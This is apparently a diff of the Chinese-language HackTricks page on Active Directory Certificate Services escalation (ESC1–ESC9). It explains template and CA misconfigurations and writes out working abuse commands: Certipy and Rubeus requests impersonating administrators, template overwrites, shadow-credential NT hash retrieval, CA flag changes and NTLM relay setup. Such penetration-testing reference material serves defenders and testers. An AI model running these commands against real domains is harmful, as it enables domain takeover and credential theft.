- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
**这是有关升级技术部分的摘要:**
|
||||
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
|
||||
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**这是关于升级技术部分的摘要:**
|
||||
|
||||
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
|
||||
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
## 配置错误的证书模板 - ESC1
|
||||
|
||||
|
@ -25,20 +30,20 @@
|
|||
|
||||
### 解释配置错误的证书模板 - ESC1
|
||||
|
||||
* **企业CA授予低特权用户注册权限。**
|
||||
* **不需要经理批准。**
|
||||
* **不需要授权人员的签名。**
|
||||
* **证书模板上的安全描述符过于宽松,允许低特权用户获取注册权限。**
|
||||
* **证书模板配置为定义促进身份验证的EKU:**
|
||||
* 包括扩展密钥用途(EKU)标识符,如客户端身份验证(OID 1.3.6.1.5.5.7.3.2)、PKINIT客户端身份验证(1.3.6.1.5.2.3.4)、智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)、任何目的(OID 2.5.29.37.0)或无EKU(SubCA)。
|
||||
* **请求者可以在证书签名请求(CSR)中包含subjectAltName的能力是由模板允许的:**
|
||||
* 如果存在,Active Directory(AD)会优先使用证书中的主体备用名称(SAN)进行身份验证。这意味着通过在CSR中指定SAN,可以请求证书以冒充任何用户(例如,域管理员)。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。此属性是一个位掩码,`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的存在允许请求者指定SAN。
|
||||
- 企业CA授予低特权用户注册权限。
|
||||
- 不需要经理批准。
|
||||
- 不需要授权人员的签名。
|
||||
- 证书模板上的安全描述符过于宽松,允许低特权用户获取注册权限。
|
||||
- 证书模板配置为定义促进身份验证的EKU:
|
||||
- 包括扩展密钥用途(EKU)标识符,如客户端身份验证(OID 1.3.6.1.5.5.7.3.2)、PKINIT客户端身份验证(1.3.6.1.5.2.3.4)、智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)、任何目的(OID 2.5.29.37.0)或无EKU(SubCA)。
|
||||
- 模板允许请求者在证书签名请求(CSR)中包含subjectAltName:
|
||||
- 如果存在,Active Directory(AD)会优先使用证书中的subjectAltName(SAN)进行身份验证。这意味着通过在CSR中指定SAN,可以请求证书以冒充任何用户(例如,域管理员)。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。此属性是一个位掩码,`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的存在允许请求者指定SAN。
|
||||
|
||||
{% hint style="danger" %}
|
||||
所述配置允许低特权用户请求具有任意选择的SAN的证书,从而通过Kerberos或SChannel进行任何域主体的身份验证。
|
||||
{% endhint %}
|
||||
|
||||
有时启用此功能以支持产品或部署服务的即时生成HTTPS或主机证书,或由于缺乏理解。
|
||||
有时会启用此功能以支持产品或部署服务的即时生成HTTPS或主机证书,或由于缺乏理解。
|
||||
|
||||
值得注意的是,创建具有此选项的证书会触发警告,当复制现有证书模板(例如具有启用`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`的`WebServer`模板)然后修改以包含身份验证OID时,情况并非如此。
|
||||
|
||||
|
@ -59,9 +64,9 @@ certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.loc
|
|||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Windows二进制文件"Certreq.exe"和"Certutil.exe"可用于生成PFX:https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
Windows 二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX:https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
可以通过运行以下LDAP查询来枚举AD Forest配置架构中的证书模板,特别是那些不需要批准或签名、具有客户端身份验证或智能卡登录EKU,并启用了`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的证书模板:
|
||||
可以通过运行以下 LDAP 查询来枚举 AD Forest 配置模式中的证书模板,特别是那些不需要批准或签名、具有客户端身份验证或智能卡登录 EKU,并启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 标志的模板:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
|
@ -81,7 +86,7 @@ Windows二进制文件"Certreq.exe"和"Certutil.exe"可用于生成PFX:https:/
|
|||
|
||||
没有 **EKUs** 的证书,作为下级 CA 证书,可以被滥用为**任何目的**,也可以**用于签署新证书**。因此,攻击者可以利用下级 CA 证书指定新证书中的任意 EKUs 或字段。
|
||||
|
||||
然而,为**域认证**创建的新证书如果下级 CA 未被 **`NTAuthCertificates`** 对象信任,则无法正常运行,这是默认设置。尽管如此,攻击者仍然可以创建**具有任何 EKU**和任意证书值的新证书。这些可能会被潜在地**滥用**于各种目的(例如代码签名、服务器认证等),并且可能对网络中的其他应用程序(如 SAML、AD FS 或 IPSec)产生重大影响。
|
||||
然而,为**域认证**创建的新证书如果下级 CA 未被 **`NTAuthCertificates`** 对象信任,则无法正常运行,这是默认设置。尽管如此,攻击者仍然可以创建**具有任何 EKU 和任意证书值**的新证书。这些可能会被潜在地**滥用**于各种目的(例如代码签名、服务器认证等),并且可能对网络中的其他应用程序(如 SAML、AD FS 或 IPSec)产生重大影响。
|
||||
|
||||
要枚举符合 AD Forest 配置模式中此场景的模板,可以运行以下 LDAP 查询:
|
||||
```
|
||||
|
@ -91,27 +96,27 @@ Windows二进制文件"Certreq.exe"和"Certutil.exe"可用于生成PFX:https:/
|
|||
|
||||
### 解释
|
||||
|
||||
这种情况类似于前两种,但滥用了**不同的 EKU**(证书请求代理)和**2个不同的模板**(因此有2组要求)。
|
||||
这种情况类似于前两种,但是滥用了**不同的 EKU**(证书请求代理)和**2个不同的模板**(因此有2组要求)。
|
||||
|
||||
**证书请求代理 EKU**(OID 1.3.6.1.4.1.311.20.2.1),在微软文档中称为**注册代理**,允许主体**代表另一个用户**为**证书**进行**注册**。
|
||||
|
||||
**“注册代理”**在这种**模板**中注册,并使用生成的**证书共同签署代表其他用户的 CSR**。然后**发送**共同签署的 CSR 到 CA,注册在**允许“代表”注册**的模板中,CA 会回复一个**属于“其他”用户的证书**。
|
||||
**“注册代理”**在这种**模板**中注册,并使用生成的**证书共同签署代表其他用户的 CSR**。然后**发送**共同签署的 CSR 到 CA,在**允许“代表”注册**的模板中注册,CA 会回复一个**属于“其他”用户的证书**。
|
||||
|
||||
**要求 1:**
|
||||
|
||||
- 企业 CA 授予低权限用户注册权限。
|
||||
- 不需要经理批准。
|
||||
- 不需要授权签名。
|
||||
- 证书模板的安全描述符过于宽松,授予低权限用户注册权限。
|
||||
- 证书模板包含证书请求代理 EKU,允许代表其他主体请求其他证书模板。
|
||||
* 企业 CA 授予低权限用户注册权限。
|
||||
* 管理员批准要求被省略。
|
||||
* 无需授权签名。
|
||||
* 证书模板的安全描述符过于宽松,授予低权限用户注册权限。
|
||||
* 证书模板包含证书请求代理 EKU,允许代表其他主体请求其他证书模板。
|
||||
|
||||
**要求 2:**
|
||||
|
||||
- 企业 CA 授予低权限用户注册权限。
|
||||
- 绕过经理批准。
|
||||
- 模板的模式版本为 1 或超过 2,并指定了一个需要证书请求代理 EKU 的应用程序策略签发要求。
|
||||
- 证书模板中定义的 EKU 允许域身份验证。
|
||||
- CA 上未应用注册代理的限制。
|
||||
* 企业 CA 授予低权限用户注册权限。
|
||||
* 绕过管理批准。
|
||||
* 模板的模式版本为 1 或超过 2,并指定了一个需要证书请求代理 EKU 的应用程序策略签发要求。
|
||||
* 证书模板中定义的 EKU 允许域身份验证。
|
||||
* CA 上未应用注册代理的限制。
|
||||
|
||||
### 滥用
|
||||
|
||||
|
@ -129,39 +134,39 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
|||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
**用户**被允许**获取**注册代理证书的,注册代理被允许注册的模板,以及注册代理可以代表的**帐户**可以受到企业CA的限制。这是通过打开`certsrc.msc` **快照**,**右键单击CA**,**单击属性**,然后**导航**到“注册代理”选项卡来实现的。
|
||||
**用户**允许**获取****注册代理证书**的,允许注册代理**注册**的模板,以及注册代理可以代表其执行操作的**帐户**可以受到企业CA的限制。这可以通过打开`certsrc.msc` **快捷方式**,**右键单击CA**,**单击属性**,然后**导航**到“注册代理”选项卡来实现。
|
||||
|
||||
然而,值得注意的是,CA的**默认**设置是“**不限制注册代理**”。当管理员启用注册代理的限制时,将其设置为“限制注册代理”,默认配置仍然非常宽松。它允许**所有人**访问并在所有模板中注册。
|
||||
然而,值得注意的是,CA的**默认**设置是“**不限制注册代理**”。当管理员启用对注册代理的限制时,将其设置为“限制注册代理”,默认配置仍然非常宽松。它允许**所有人**访问并在所有模板中注册。
|
||||
|
||||
## 可被攻击的证书模板访问控制 - ESC4
|
||||
## 可脆弱的证书模板访问控制 - ESC4
|
||||
|
||||
### **解释**
|
||||
|
||||
**证书模板**上的**安全描述符**定义了特定**AD主体**对模板拥有的**权限**。
|
||||
|
||||
如果**攻击者**具有**修改****模板**并**实施**在**前面章节**中概述的任何**可利用的配置错误**所需的**权限**,则可能促成特权升级。
|
||||
如果**攻击者**具有足够的**权限**来**更改**一个**模板**并**实施**在**前几节**中概述的任何**可利用的配置错误**,则可能促成特权升级。
|
||||
|
||||
适用于证书模板的显着权限包括:
|
||||
适用于证书模板的显著权限包括:
|
||||
|
||||
- **所有者:**授予对对象的隐式控制,允许修改任何属性。
|
||||
- **所有者:**授予对对象的隐式控制权,允许修改任何属性。
|
||||
- **完全控制:**允许完全控制对象,包括修改任何属性的能力。
|
||||
- **WriteOwner:**允许将对象的所有者更改为攻击者控制下的主体。
|
||||
- **WriteDacl:**允许调整访问控制,可能授予攻击者完全控制。
|
||||
- **WriteProperty:**授权编辑任何对象属性。
|
||||
- **写入所有者:**允许将对象的所有者更改为攻击者控制下的主体。
|
||||
- **写入Dacl:**允许调整访问控制,可能授予攻击者完全控制。
|
||||
- **写入属性:**授权编辑任何对象属性。
|
||||
|
||||
### 滥用
|
||||
|
||||
类似于先前的特权升级的一个示例:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4是指用户对证书模板具有写权限。例如,这可以被滥用以覆盖证书模板的配置,使模板容易受到ESC1的攻击。
|
||||
ESC4是指用户对证书模板具有写入权限。例如,这可以被滥用以覆盖证书模板的配置,使模板容易受到ESC1的影响。
|
||||
|
||||
如上路径所示,只有`JOHNPC`具有这些权限,但我们的用户`JOHN`具有`AddKeyCredentialLink`边缘到`JOHNPC`的新权限。由于这个技术与证书有关,我也实施了这种攻击,这被称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这里是Certipy的`shadow auto`命令的一个小窥视,用于检索受害者的NT哈希。
|
||||
如上路径所示,只有`JOHNPC`具有这些权限,但我们的用户`JOHN`具有到`JOHNPC`的新`AddKeyCredentialLink`边缘。由于这个技术与证书有关,我也实施了这种攻击,即所谓的[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这里是Certipy的`shadow auto`命令的一小部分,用于检索受害者的NT哈希。
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy**可以使用一条命令覆盖证书模板的配置。默认情况下,Certipy将覆盖配置以使其容易受到ESC1的攻击。我们还可以指定`-save-old`参数来保存旧配置,这在攻击后恢复配置时会很有用。
|
||||
**Certipy**可以使用一条命令覆盖证书模板的配置。默认情况下,Certipy将覆盖配置以使其容易受到ESC1攻击。我们还可以指定`-save-old`参数来保存旧配置,这在攻击后恢复配置时会很有用。
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
|
@ -172,15 +177,15 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
|||
# Restore config
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||
```
|
||||
## 可被攻击的PKI对象访问控制 - ESC5
|
||||
## 脆弱的PKI对象访问控制 - ESC5
|
||||
|
||||
### 解释
|
||||
|
||||
相互连接的基于ACL的关系网络涵盖了除了证书模板和证书颁发机构之外的多个对象,可能会影响整个AD CS系统的安全性。这些对象对安全性有重大影响,包括:
|
||||
相互连接的基于ACL的关系网络涵盖了除证书模板和证书颁发机构之外的多个对象,可能会影响整个AD CS系统的安全性。这些对象对安全性有重大影响,包括:
|
||||
|
||||
* CA服务器的AD计算机对象,可能会通过S4U2Self或S4U2Proxy等机制而受损。
|
||||
* CA服务器的RPC/DCOM服务器。
|
||||
* 特定容器路径`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内的任何后代AD对象或容器。该路径包括但不限于证书模板容器、证书颁发机构容器、NTAuthCertificates对象和Enrollment Services容器等容器和对象。
|
||||
- CA服务器的AD计算机对象,可能会通过S4U2Self或S4U2Proxy等机制受到损害。
|
||||
- CA服务器的RPC/DCOM服务器。
|
||||
- 特定容器路径`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内的任何后代AD对象或容器。该路径包括但不限于证书模板容器、证书颁发机构容器、NTAuthCertificates对象和Enrollment Services容器等容器和对象。
|
||||
|
||||
如果低权限攻击者设法控制这些关键组件中的任何一个,PKI系统的安全性可能会受到损害。
|
||||
|
||||
|
@ -188,9 +193,9 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
|
|||
|
||||
### 解释
|
||||
|
||||
[CQure Academy文章](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及到Microsoft概述的**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的含义。当在证书颁发机构(CA)上激活此配置时,允许在**主题备用名称**中包含**用户定义的值**,用于**任何请求**,包括那些从Active Directory®构建的请求。因此,此配置允许**入侵者**通过为域**身份验证**设置的**任何模板**进行注册,特别是那些对**非特权用户**开放的用户模板。结果,可以获得一个证书,使入侵者能够作为域管理员或域内的**任何其他活动实体**进行身份验证。
|
||||
[CQure Academy文章](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及到Microsoft概述的**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的含义。当在证书颁发机构(CA)上激活此配置时,允许在**任何请求**的**主题备用名称**中包含**用户定义的值**,包括那些由Active Directory®构建的请求。因此,此配置允许**入侵者**通过为域**身份验证**设置的**任何模板**(特别是对**非特权**用户注册开放的模板,如标准用户模板)进行注册。结果,可以获得一个证书,使入侵者能够作为域管理员或域内的**任何其他活动实体**进行身份验证。
|
||||
|
||||
**注意**:通过在`certreq.exe`中使用`-attrib "SAN:"`参数(称为“名称值对”)将**备用名称**附加到证书签名请求(CSR)中,与ESC1中对SAN的利用策略形成**对比**。这里的区别在于**帐户信息如何封装**—在证书属性中,而不是在扩展中。
|
||||
**注意**:通过`certreq.exe`中的`-attrib "SAN:"`参数(称为“名称值对”)将**替代名称**附加到证书签名请求(CSR)中的方法,与ESC1中对SAN的利用策略有所不同。这里的区别在于**帐户信息如何封装**—在证书属性中,而不是在扩展中。
|
||||
|
||||
### 滥用
|
||||
|
||||
|
@ -220,29 +225,29 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ
|
|||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
在 2022 年 5 月的安全更新之后,新发布的**证书**将包含一个**安全扩展**,其中包含了**请求者的 `objectSid` 属性**。对于 ESC1,此 SID 是从指定的 SAN 派生的。然而,对于**ESC6**,SID 反映了**请求者的 `objectSid`**,而不是 SAN。\
|
||||
要利用 ESC6,系统必须容易受到 ESC10(弱证书映射)的影响,该映射将**SAN 优先于新的安全扩展**。
|
||||
在2022年5月的安全更新之后,新发布的**证书**将包含一个**安全扩展**,其中包含了**请求者的`objectSid`属性**。对于ESC1,此SID是从指定的SAN派生的。然而,对于**ESC6**,SID反映了**请求者的`objectSid`**,而不是SAN。\
|
||||
要利用ESC6,系统必须容易受到ESC10(弱证书映射)的影响,该漏洞将**SAN优先于新的安全扩展**。
|
||||
{% endhint %}
|
||||
|
||||
## 可利用的证书颁发机构访问控制 - ESC7
|
||||
## 易受攻击的证书颁发机构访问控制 - ESC7
|
||||
|
||||
### 攻击 1
|
||||
### 攻击1
|
||||
|
||||
#### 解释
|
||||
|
||||
证书颁发机构的访问控制是通过一组权限来维护的,这些权限管理着 CA 的操作。可以通过访问 `certsrv.msc`,右键单击 CA,选择属性,然后导航到安全选项卡来查看这些权限。此外,可以使用 PSPKI 模块来枚举权限,例如:
|
||||
证书颁发机构的访问控制是通过一组权限来维护的,这些权限管理着CA的操作。可以通过访问`certsrv.msc`,右键单击CA,选择属性,然后导航到安全选项卡来查看这些权限。此外,可以使用PSPKI模块来枚举权限,例如:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
这提供了关于主要权限,即**`ManageCA`**和**`ManageCertificates`**,分别对应“CA管理员”和“证书管理员”角色的见解。
|
||||
这提供了关于主要权限,即**`ManageCA`**和**`ManageCertificates`**,分别对应“CA管理员”和“证书管理员”的角色。
|
||||
|
||||
#### 滥用
|
||||
|
||||
在证书颁发机构上拥有**`ManageCA`**权限使主体能够使用PSPKI远程操纵设置。这包括切换**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志,以允许在任何模板中指定SAN,这是域提升的关键方面。
|
||||
拥有证书颁发机构上的**`ManageCA`**权限使主体能够使用PSPKI远程操纵设置。这包括切换**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志,以允许在任何模板中指定SAN,这是域提升的关键方面。
|
||||
|
||||
通过使用PSPKI的**Enable-PolicyModuleFlag** cmdlet,可以简化此过程,允许在没有直接GUI交互的情况下进行修改。
|
||||
通过使用PSPKI的**Enable-PolicyModuleFlag** cmdlet,可以简化此过程,允许进行修改而无需直接GUI交互。
|
||||
|
||||
拥有**`ManageCertificates`**权限可促使批准待处理请求,有效地规避了“CA证书管理员批准”保障。
|
||||
拥有**`ManageCertificates`**权限可促使批准待处理请求,有效地规避“CA证书管理员批准”保障。
|
||||
|
||||
**Certify**和**PSPKI**模块的结合可用于请求、批准和下载证书:
|
||||
```powershell
|
||||
|
@ -265,10 +270,10 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
|||
#### 解释
|
||||
|
||||
{% hint style="warning" %}
|
||||
在**先前的攻击**中,使用了**`Manage CA`**权限来**启用** **EDITF\_ATTRIBUTESUBJECTALTNAME2** 标志以执行**ESC6攻击**,但在CA服务(`CertSvc`)重新启动之前,这不会产生任何效果。当用户拥有`Manage CA`访问权限时,用户也被允许**重新启动服务**。然而,这**并不意味着用户可以远程重新启动服务**。此外,在大多数已打补丁的环境中,由于2022年5月的安全更新,**ESC6**可能**不能直接使用**。
|
||||
在**先前的攻击**中,使用了**`Manage CA`**权限来启用**EDITF\_ATTRIBUTESUBJECTALTNAME2**标志以执行**ESC6攻击**,但在CA服务(`CertSvc`)重新启动之前,这不会产生任何效果。当用户拥有`Manage CA`访问权限时,用户也被允许**重新启动服务**。然而,这**并不意味着用户可以远程重新启动服务**。此外,在大多数已打补丁的环境中,由于2022年5月的安全更新,**ESC6**可能无法直接使用。
|
||||
{% endhint %}
|
||||
|
||||
因此,这里提出另一种攻击。
|
||||
因此,这里提出了另一种攻击方式。
|
||||
|
||||
先决条件:
|
||||
|
||||
|
@ -313,14 +318,14 @@ Would you like to save the private key? (y/N) y
|
|||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
通过我们的 **`Manage CA` 和 `Manage Certificates`**,然后我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数来 **发出失败的证书** 请求。
|
||||
使用我们的 **`Manage CA` 和 `Manage Certificates`**,然后我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数来 **发出失败的证书** 请求。
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully issued certificate
|
||||
```
|
||||
最后,我们可以使用`req`命令和`-retrieve <request ID>`参数**检索已发放的证书**。
|
||||
最后,我们可以使用`req`命令和`-retrieve <request ID>`参数**检索已签发的证书**。
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -334,51 +339,51 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
```
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
|
||||
### Explanation
|
||||
### 解释
|
||||
|
||||
{% hint style="info" %}
|
||||
在安装了**AD CS**的环境中,如果存在一个**易受攻击的web注册端点**,并且至少发布了一个允许**域计算机注册和客户端认证**的**证书模板**(例如默认的**`Machine`**模板),那么**任何启用了 spooler 服务的计算机都有可能被攻击者入侵**!
|
||||
在安装了**AD CS**的环境中,如果存在一个**易受攻击的网络注册端点**,并且至少发布了一个允许**域计算机注册和客户端认证**的**证书模板**(例如默认的**`Machine`**模板),那么**任何启用了 spooler 服务的计算机都有可能被攻击者入侵**!
|
||||
{% endhint %}
|
||||
|
||||
AD CS支持几种基于HTTP的注册方法,通过管理员安装的附加服务器角色提供。这些基于HTTP的证书注册接口容易受到**NTLM中继攻击**的影响。攻击者可以从**受攻击的机器上**冒充通过入站NTLM进行身份验证的**任何AD帐户**。在冒充受害者帐户的同时,攻击者可以访问这些web接口,**使用`User`或`Machine`证书模板请求客户端认证证书**。
|
||||
AD CS支持几种基于HTTP的注册方法,通过管理员安装的附加服务器角色提供。这些基于HTTP的证书注册接口容易受到**NTLM中继攻击**的影响。攻击者可以从**受攻击的计算机上冒充通过入站NTLM进行身份验证的任何AD帐户**。在冒充受害者帐户的情况下,攻击者可以访问这些Web接口,**使用`User`或`Machine`证书模板请求客户端认证证书**。
|
||||
|
||||
- **Web注册接口**(位于`http://<caserver>/certsrv/`的旧版ASP应用程序)默认仅支持HTTP,不提供对NTLM中继攻击的保护。此外,它明确只通过其授权HTTP标头允许NTLM身份验证,使更安全的身份验证方法如Kerberos无法应用。
|
||||
- **证书注册服务**(CES)、**证书注册策略**(CEP)Web服务和**网络设备注册服务**(NDES)默认支持通过其授权HTTP标头进行协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**,允许攻击者在中继攻击期间**降级到NTLM**身份验证。尽管这些web服务默认启用HTTPS,但仅使用HTTPS**无法防范NTLM中继攻击**。对于HTTPS服务,防范NTLM中继攻击只有在HTTPS与通道绑定结合时才可能。遗憾的是,AD CS未在IIS上激活扩展保护以进行通道绑定。
|
||||
* **网络注册接口**(位于`http://<caserver>/certsrv/`的较旧的ASP应用程序)默认仅支持HTTP,不提供对NTLM中继攻击的保护。此外,它明确只通过其授权HTTP标头允许NTLM身份验证,使更安全的身份验证方法如Kerberos无法应用。
|
||||
* **证书注册服务**(CES)、**证书注册策略**(CEP)Web服务和**网络设备注册服务**(NDES)默认支持通过其授权HTTP标头进行协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**,允许攻击者在中继攻击期间**降级到NTLM**身份验证。尽管这些Web服务默认启用HTTPS,但仅使用HTTPS**无法防范NTLM中继攻击**。对于HTTPS服务,防范NTLM中继攻击只有在HTTPS与通道绑定结合时才可能。遗憾的是,AD CS没有在IIS上激活扩展保护以进行身份验证,这是通道绑定所需的。
|
||||
|
||||
NTLM中继攻击的一个常见**问题**是**NTLM会话的短暂持续时间**以及攻击者无法与**需要NTLM签名**的服务进行交互。
|
||||
|
||||
然而,通过利用NTLM中继攻击获取用户证书可以克服这一限制,因为证书的有效期决定了会话的持续时间,并且证书可以与**要求NTLM签名**的服务一起使用。有关使用窃取的证书的说明,请参阅:
|
||||
然而,通过利用NTLM中继攻击来获取用户的证书,可以克服这一限制,因为证书的有效期决定了会话的持续时间,并且证书可以用于需要**NTLM签名**的服务。有关使用窃取的证书的说明,请参阅:
|
||||
|
||||
{% content-ref url="account-persistence.md" %}
|
||||
[account-persistence.md](account-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
NTLM中继攻击的另一个限制是**攻击者控制的机器必须由受害者帐户进行身份验证**。攻击者可以等待或尝试**强制**进行此身份验证:
|
||||
NTLM中继攻击的另一个限制是**攻击者控制的计算机必须由受害者帐户进行身份验证**。攻击者可以等待或尝试**强制**进行此身份验证:
|
||||
|
||||
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Abuse**
|
||||
### **滥用**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)的`cas`列举了**已启用的HTTP AD CS端点**:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
`msPKI-Enrollment-Servers`属性用于企业证书颁发机构(CAs)存储证书颁发服务(CES)端点。可以使用工具**Certutil.exe**解析和列出这些端点:
|
||||
`msPKI-Enrollment-Servers`属性用于企业证书颁发机构(CAs)存储证书颁发服务(CES)端点。可以使用工具**Certutil.exe**解析并列出这些端点:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (754).png" alt=""><figcaption></figcaption></figure>
|
||||
```powershell
|
||||
Import-Module PSPKI
|
||||
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 滥用Certify
|
||||
#### 滥用证书
|
||||
```bash
|
||||
## In the victim machine
|
||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||
|
@ -410,43 +415,44 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
## 无安全扩展 - ESC9 <a href="#5485" id="5485"></a>
|
||||
## 无安全扩展 - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
|
||||
### 解释
|
||||
|
||||
